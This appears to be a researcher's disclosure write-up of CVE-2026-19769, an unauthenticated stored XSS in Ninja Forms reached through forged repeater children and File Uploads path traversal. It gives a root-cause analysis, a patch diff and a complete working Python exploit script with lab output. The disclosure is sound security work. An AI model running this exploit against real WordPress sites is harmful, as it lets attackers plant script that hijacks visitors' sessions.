Skip to content

CVE-2026-19769: Ninja Forms Stored XSS via Repeater Child Type Confusion

TL;DR

  • I found an unauthenticated stored XSS vulnerability in Ninja Forms that let me create an HTML document containing JavaScript on the site's own origin.
  • An unmatched repeater child skipped the checks that normally replace submitted field configuration with the definition saved by the site owner.
  • The forged child selected the File Uploads handler, supplied its own extension allowlist and carried relative path segments through the custom filename setting.
  • The demonstrated path required the File Uploads add-on and a public form containing both a Repeatable Fieldset and a File Upload field.
  • The advisory covers Ninja Forms <= 3.15.1, was assigned CVE-2026-19769, and the fix shipped in 3.15.2.

Summary

Ninja Forms allowed an anonymous visitor to route an unrecognised repeater child through the File Uploads handler with client-controlled settings, write an HTML file outside the intended upload directory and execute JavaScript from the site's origin when that file was opened.

  • CVE: CVE-2026-19769
  • Product: Ninja Forms
  • Active Installs: 600,000+
  • Vulnerability: Unauthenticated Stored Cross-Site Scripting via Repeater Child Type Confusion
  • Affected Versions: <= 3.15.1
  • Fixed In: 3.15.2
  • CVSS Severity: 7.2 (high)
  • CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:L/I:L/A:N
  • Required Privilege: None
  • Reported: August 2, 2026
  • NVD Published: September 5, 2026

Introduction

[A]I was looking at how Ninja Forms turns an anonymous submission back into a set of fields, checking whether a visitor could hand the server a field type it never defined. Every submitted field starts from the definition the site owner saved, and apply_field_whitelist() copies across only the answer, never the type, key or settings. On an ordinary field that holds.

A Repeatable Fieldset doesn't go through that function the same way. Its value is a whole collection of child fields, and those children have their own reconciliation loop. That loop only rebuilds a child when it recognises it, and there's nothing that decides what to do with one it doesn't.

Root Cause Analysis

The Public Submission Handler

Ninja Forms receives the submitted fields as JSON in formData. The same controller handles submissions from logged-in and anonymous visitors, as shown in Ninja Forms 3.15.1.

// includes/AJAX/Controllers/Submission.php (__construct)
if( isset( $_POST['formData'] ) ) {
    $this->_form_data = json_decode( $_POST['formData'], TRUE  ); // [1] Decodes the submitted field tree.

    // php5.2 fallback
    if( ! $this->_form_data ) $this->_form_data = json_decode( stripslashes( $_POST['formData'] ), TRUE  );
}


// Ajax calls here are both handled by 'submit' in this file
add_action( 'wp_ajax_nf_ajax_submit',   array( $this, 'submit' )  );
add_action( 'wp_ajax_nopriv_nf_ajax_submit',   array( $this, 'submit' )  ); // [2] Exposes submission without authentication.

[1] loads the visitor's nested field data. The nopriv hook at [2] is expected for a public form, but it means every later decision about field configuration has to use the server's saved definition rather than trusting this array.

Protecting Field Configuration

A visitor should supply answers to a form, while the server decides which fields exist and how they behave. Ninja Forms enforces that distinction with apply_field_whitelist() in the same submission controller. The whitelist specifies which submitted properties may be copied into the server's field definition.

// includes/AJAX/Controllers/Submission.php
protected function apply_field_whitelist( array $server_field, array $submitted, array $whitelist ): array {
    // Security-critical properties that can NEVER be overridden by client data,
    // regardless of any filter or whitelist configuration.
    $blocked_props = array( 'type', 'required', 'key', 'settings', 'id' ); // [3] Protects field configuration.

    // Copy only whitelisted properties from submission, excluding blocked ones.
    foreach ( $whitelist as $prop ) {
        if ( ! in_array( $prop, $blocked_props, true ) && isset( $submitted[ $prop ] ) ) { // [4] Copies only permitted properties.
            $server_field[ $prop ] = $submitted[ $prop ];
        }
    }

    return $server_field;
}

The blocked properties at [3] include the field's type, identity and settings. Even a property added to the whitelist cannot override those values because [4] checks the blocked list before copying it. The helper returns the server's field definition with only permitted changes.

Repeater Children Miss the Check

For an ordinary field, the submission handler starts with the saved definition and copies permitted answers into it. A repeater's answer is itself a collection of child fields, so accepting the parent's value doesn't establish that every child inside it is valid.

The two passes sit together in process():

// includes/AJAX/Controllers/Submission.php (process)
$whitelist = apply_filters( 'ninja_forms_submit_field_whitelist', array( 'value', 'files', 'save_id' ) );
$field = $this->apply_field_whitelist( $field, $this->_form_data[ 'fields' ][ $field_id ], $whitelist ); // [5] Protects the parent field.

// Flatten the field array.
$field = array_merge( $field, $field[ 'settings' ] );

/** Prepare Fields in repeater for Validation and Process */
if( $field["type"] === "repeater" ){
    foreach( $field["value"] as $index => $child_field_value ){
        foreach( $field['fields'] as $i => $child_field ) {
            if(strpos($index, $child_field['id']) !== false){ // [6] Checks for a matching child.
                // Apply whitelist to repeater child fields.
                // @see https://github.com/Saturday-Drive/ninja-forms/issues/8011
                $field['value'][$index] = $this->apply_field_whitelist( $child_field, $child_field_value, $whitelist ); // [7] Rebuilds only matched entries.
            }
        }
    }
}
/** Validate the Field */
// ... field validation omitted; it does not reconcile an unmatched child.

/** Process the Field */
if( ! isset( $this->_data[ 'resume' ] ) ) {
    if( $field["type"] === "repeater" ){
        foreach( $field["value"] as $index => $child_field ){
            $this->process_field( $field["value"][$index] ); // [8] Processes every surviving child.
        }
    } else {
        $this->process_field($field);
    }
}

The call at [5] protects the parent field's configuration, but its permitted value still contains the submitted child collection. The separate check at [6] controls whether [7] rebuilds a child from a saved definition.

There is no rejection branch when the child lookup fails. A normal key includes a saved child ID such as 7.0, while an unrelated key such as zz.0 matches nothing. The loops finish with that entry still in $field['value'], unchanged, and [8] sends every surviving child into process_field().

The parent still has to be a real Repeatable Fieldset from the saved form for this branch to run. The attacker cannot turn an ordinary field into a repeater, but can add an unrecognised child to a real one.

The Submitted Type Selects the Handler

process_field() uses the child's type as the index into Ninja Forms' registered field classes.

// includes/AJAX/Controllers/Submission.php
protected function process_field( $field_settings )
{
    if( ! is_string( $field_settings['type'] ) ) return;

    $field_class = Ninja_Forms()->fields[ $field_settings['type'] ]; // [9] Resolves the submitted type.

    // If $field_class is not object or string, return w/o checking for method_exists
    if(!is_object($field_class) && !is_string($field_class)){
        return;
    }

    if( ! method_exists( $field_class, 'process' ) ) return;

    if( $data = $field_class->process( $field_settings, $this->_form_data )  ){ // [10] Runs that field handler.
        $this->_form_data = $data;
    }
}

For reconciled children, [9] reads the type saved by the site owner. An unmatched child keeps the submitted value instead. Setting it to file_upload selects NF_FU_Fields_Upload, then [10] passes the rest of the forged child into the add-on.

File Uploads Trusts the Field Settings

The File Uploads add-on receives files into temporary storage before the main form submission moves them into their permanent location. It lets the site owner restrict extensions and configure a custom filename. The source below comes from File Uploads 3.3.28, the commercial add-on version used during validation.

// includes/fields/upload.php (NF_FU_Fields_Upload::process)
// Remove any path from the filename as a security measure
$original_filename = NF_FU_Helper::remove_directory_from_file( $file['name'] ); // [11] Reads the declared filename.

// Remove the extension from the file name
$file_parts = explode( '.', $original_filename );
$ext        = array_pop( $file_parts );

// Check for blacklisted file types
if ( NF_FU_AJAX_Controllers_Uploads::blacklisted( NF_FU_AJAX_Controllers_Uploads::get_extension_blacklist(), str_replace( '_', '', trim( $ext ) ) ) ) {
    $data['errors']['fields'][ $field['id'] ] = __( 'File extension not allowed', 'ninja-forms-uploads' );

    return $data;
}

if ( ! NF_FU_AJAX_Controllers_Uploads::is_allowed_type( $original_filename, self::get_types_allowed($field['settings']['upload_types']) ) ) { // [12] Uses the field's extension allowlist.
    $data['errors']['fields'][ $field['id'] ] = __( 'File extension not allowed', 'ninja-forms-uploads' );

    return $data;
}

The filename at [11] comes from the child entry in the form submission, rather than from the temporary file on disk. Its suffix becomes $ext. The hardcoded blacklist rejects executable formats such as PHP, while [12] checks the filename against settings.upload_types. Both the filename and that setting belong to the attacker on the unmatched-child path, so the request can declare an .html file and allow html even when the real field permits only images and documents.

Relative Paths Survive the Rename

The handler initially strips directories from the declared filename. It then replaces that clean value with the custom upload_rename setting and builds the destination.

// includes/fields/upload.php (NF_FU_Fields_Upload::process)
$file_name = $original_filename;

// ... custom upload-directory replacement omitted; it does not clean $file_name.

// Custom renaming of files
if ( ! empty( $field['upload_rename'] ) ) {
    $file_name = apply_filters( 'ninja_forms_merge_tags', $field['upload_rename'] ); // [13] Replaces it with the rename setting.
    $file_name = NF_File_Uploads()->controllers->custom_paths->replace_shortcodes( $file_name );
    $file_name = NF_File_Uploads()->controllers->custom_paths->replace_field_shortcodes( $file_name, $data['fields'] );

    $ext_suffix = '.' . $ext;
    if ( $ext_suffix !== substr( $file_name, - strlen( $ext_suffix ) ) ) {
        $file_name .= $ext_suffix;
    }
}

$target_file = trailingslashit( $base_dir . ltrim( $custom_upload_dir, '/' ) ) . ltrim( $file_name, '/' ); // [14] Builds a path from that value.
$target_path = dirname( $target_file );
// Ensure the path exists
wp_mkdir_p( $target_path );

// Sanitize the filename for encoding
$file_name   = sanitize_file_name( str_replace( $target_path, '', $target_file ) ); // [15] Cleans only the basename.
$target_file = $target_path . '/' . $file_name;

// ... collision handling and repeated extension checks omitted; they do not change $target_file's directory.

// Move to permanent location
$result = rename( $tmp_file, $target_file ); // [16] Writes to the resolved path.

Nothing applies remove_directory_from_file() to upload_rename at [13]. Relative segments survive into the destination assembled at [14], then dirname() separates that directory portion before [15] sanitises only the basename. The later checks still see the allowed .html suffix, and the operating system resolves the relative segments when [16] moves the temporary file.

An HTML File on the Site's Origin

HTML was absent from File Uploads 3.3.28's hardcoded extension blacklist. Once the stored file was served as text/html, a browser treated it as a document and executed the JavaScript inside it.

This didn't depend on a submission viewer inserting an answer into an admin-page template. The file was a separate document served by the same website. Escaping values in the submissions screen would therefore leave this path untouched, because that screen wasn't involved in rendering the file.

Impact

An anonymous visitor can create an HTML file in an existing directory that the web server can write to. The site root and wp-content/plugins/ both worked in the lab, making the file reachable from the WordPress origin.

JavaScript in that document runs with access to the WordPress origin when someone opens its URL, and a logged-in visitor's session goes with it.

The write is limited to directories that already exist, and an existing destination filename is given a numeric suffix instead of being overwritten. File Uploads' hardcoded blacklist rejected the tested PHP extensions, so the demonstrated impact is file creation leading to stored XSS rather than remote code execution.

Exploitation

Preconditions

  • Ninja Forms <= 3.15.1 is active.
  • The File Uploads add-on is active. The PoC was verified with version 3.3.28.
  • A public form contains a Repeatable Fieldset and a File Upload field.
  • The target directory already exists, is web-accessible and is writable by the web server.

The attack uses two normal anonymous workflows. File Uploads exposes both the temporary upload action and its nonce endpoint to unauthenticated visitors. Ninja Forms also returns a fresh submission nonce when the first submit request arrives without a valid one, which supports forms left open across a nonce expiry.

The PoC uploads the HTML bytes as a temporary .txt file through the real File Upload field. It then submits an unmatched repeater child that declares the temporary file as .html, allows that extension and supplies the relative destination through upload_rename.

PoC

Below is a cleaned-up version of the PoC accompanying this writeup.

#!/usr/bin/env python3
"""CVE-2026-19769 PoC, validated with Ninja Forms 3.14.11 and File Uploads 3.3.28."""

import argparse
import json
import sys

import requests

PAYLOAD = (
    b"<html><body><h1>Ninja Forms unauthenticated stored XSS</h1>"
    b"<script>alert(document.domain)</script></body></html>"
)


def main():
    parser = argparse.ArgumentParser(description=__doc__)
    parser.add_argument("--url", required=True, help="WordPress base URL")
    parser.add_argument("--form-id", required=True, type=int)
    parser.add_argument("--repeater-id", required=True, type=int)
    parser.add_argument("--upload-field-id", required=True, type=int)
    parser.add_argument("--name", default="nf-xss-proof")
    parser.add_argument("--depth", type=int, default=4)
    args = parser.parse_args()

    base_url = args.url.rstrip("/")
    ajax_url = base_url + "/wp-admin/admin-ajax.php"
    session = requests.Session()

    response = session.post(ajax_url, data={
        "action": "nf_fu_get_new_nonce",
        "form_id": args.form_id,
        "field_id": args.upload_field_id,
    }, timeout=20)
    upload_nonce = response.json()["data"]["nonce"]
    print(f"[1] minted file upload nonce anonymously: {upload_nonce}")

    response = session.post(
        ajax_url,
        data={
            "action": "nf_fu_upload",
            "form_id": args.form_id,
            "field_id": args.upload_field_id,
            "nonce": upload_nonce,
        },
        files={
            f"files-{args.upload_field_id}": ("payload.txt", PAYLOAD, "text/plain"),
        },
        timeout=30,
    )
    tmp_name = response.json()["data"]["files"][0]["tmp_name"]
    print(f"[2] stored payload as temporary file: {tmp_name}")

    response = session.post(ajax_url, data={
        "action": "nf_ajax_submit",
        "formData": json.dumps({"id": args.form_id}),
    }, timeout=20)
    nonce_data = response.json()["errors"]["nonce"]
    print(f"[3] submit handler returned a fresh nonce: {nonce_data['new_nonce']}")

    child = {
        "id": args.repeater_id + 1,
        "type": "file_upload",
        "value": "",
        "required": 0,
        "key": "poc",
        "media_library": "0",
        "save_to_server": "1",
        "upload_rename": "../" * args.depth + args.name,
        "settings": {"upload_types": "html"},
        "files": [{
            "name": "payload.html",
            "tmp_name": tmp_name,
            "size": len(PAYLOAD),
            "type": "text/plain",
            "error": 0,
        }],
    }
    form_data = {
        "id": args.form_id,
        "fields": {
            str(args.upload_field_id): {
                "id": args.upload_field_id,
                "value": "",
            },
            str(args.repeater_id): {
                "id": args.repeater_id,
                "value": {"zz.0": child},
            },
            str(args.repeater_id + 1): {
                "id": args.repeater_id + 1,
                "value": "",
            },
        },
        "settings": {"is_preview": False, "title": "poc"},
        "extra": {},
    }

    response = session.post(
        ajax_url,
        data={
            "action": "nf_ajax_submit",
            "security": nonce_data["new_nonce"],
            "nonce_ts": nonce_data["nonce_ts"],
            "formData": json.dumps(form_data),
        },
        timeout=30,
    )
    errors = response.json().get("errors")
    if errors:
        print(f"[-] submission failed: {json.dumps(errors)[:200]}")
        return 1
    print(f"[4] exploit request returned HTTP {response.status_code}")

    victim_url = f"{base_url}/{args.name}.html"
    check = requests.get(victim_url, timeout=20)
    print(f"\ncookies sent: {dict(session.cookies)}")
    print(f"planted file: {victim_url}")
    print(f"served as: HTTP {check.status_code} {check.headers.get('content-type', '')}")
    print(f"payload intact: {'alert(document.domain)' in check.text}")
    return 0


if __name__ == "__main__":
    sys.exit(main())

Run it with the IDs from a published form:

python3 cve-2026-19769.py \
  --url http://target.example \
  --form-id 2 \
  --repeater-id 7 \
  --upload-field-id 6 \
  --depth 4

The lab run used a File Upload field restricted to txt, pdf, jpg and png:

[1] minted file upload nonce anonymously: 441725c8f7
[2] stored payload as temporary file: nftmp-qRerQ-payload.txt
[3] submit handler returned a fresh nonce: 1909f2f796
[4] exploit request returned HTTP 200

cookies sent: {}
planted file: http://localhost:8090/nf-xss-proof.html
served as: HTTP 200 text/html
payload intact: True

Opening that file in Chromium produced the following browser result:

>>> DIALOG  type=alert  message='localhost'
HTTP 200 | text/html
origin: http://localhost:8090

Patch Diffing

The Ninja Forms 3.15.2 changelog dates the release to August 31, 2026 and lists validation of repeater children against server-side definitions among its security changes.

The relevant change is in includes/AJAX/Controllers/Submission.php. This diff compares the released 3.15.1 and 3.15.2 files.

// includes/AJAX/Controllers/Submission.php (process)

 /** Prepare Fields in repeater for Validation and Process */
 if( $field["type"] === "repeater" ){
+    // Build lookup of valid child field IDs from server-side definition.
+    // @see https://github.com/Saturday-Drive/ninja-forms/issues/8116
+    $valid_child_ids = array();
+    foreach( $field['fields'] as $child_field ) {
+        $valid_child_ids[ (string) $child_field['id'] ] = $child_field;
+    }
+
     foreach( $field["value"] as $index => $child_field_value ){
-        foreach( $field['fields'] as $i => $child_field ) {
-            if(strpos($index, $child_field['id']) !== false){
-                // Apply whitelist to repeater child fields.
-                // @see https://github.com/Saturday-Drive/ninja-forms/issues/8011
-                $field['value'][$index] = $this->apply_field_whitelist( $child_field, $child_field_value, $whitelist );
-            }
+        // Extract child field ID from key (part before first dot).
+        // Legitimate keys: "{childFieldId}.{instanceNumber}" e.g., "9.0", "9.1"
+        $key_parts = explode( '.', (string) $index, 2 );
+        $submitted_child_id = $key_parts[0];
+
+        if( isset( $valid_child_ids[ $submitted_child_id ] ) ) {
+            // Apply whitelist to repeater child fields using server-side definition.
+            // @see https://github.com/Saturday-Drive/ninja-forms/issues/8011
+            $child_field = $valid_child_ids[ $submitted_child_id ];
+            $field['value'][$index] = $this->apply_field_whitelist( $child_field, $child_field_value, $whitelist );
+        } else {
+            // Discard entries with keys that don't match any known child field.
+            // This prevents attackers from injecting rogue entries with arbitrary types.
+            unset( $field['value'][$index] );
         }
     }
 }

The new code builds a lookup from the saved child definitions and checks submitted entries against it. A recognised entry is rebuilt through the existing whitelist. Its protected properties therefore come from the saved form, even if the visitor supplied different values.

For an unrecognised entry, the new else branch removes it before field validation or processing can use its configuration. That branch drops the child rather than rejecting the entire submission. Previously, failing to find a definition left the submitted entry available to the next stage.

The rejection is necessary as well as the new lookup. A more precise comparison would still leave the same trust problem if unmatched entries continued into processing. The fix gives both outcomes an explicit rule, either apply the saved definition or remove the entry.

This change is in Ninja Forms itself. It stops the unrecognised child from reaching File Uploads with client-controlled configuration, without changing the add-on's filename handling.

Remediation

Update Ninja Forms to 3.15.2 or later. If the update has to wait, disabling the File Uploads add-on removes the handler required by this attack path.

Disclosure Timeline

  • August 2, 2026: Submitted to the Wordfence bug bounty programme.
  • August 3, 2026: Triage started.
  • August 13, 2026: Report validated and CVE-2026-19769 assigned. Wordfence notified the vendor.
  • August 14, 2026: Bounty awarded ($240).
  • August 31, 2026: Ninja Forms 3.15.2 released with the repeater validation fix.
  • September 4, 2026: Wordfence disclosed the vulnerability.
  • September 5, 2026: The CVE record was published and indexed by NVD.

Conclusion

Ninja Forms already treated type and settings as properties that visitors must never control. The same protection reached recognised repeater children, while one missing outcome left everything else untouched.

That gap made the child type a dispatch choice and turned the add-on's normal filename options into control over the destination. The 3.15.2 fix closes the boundary at the right place by removing children that do not exist in the saved form.

References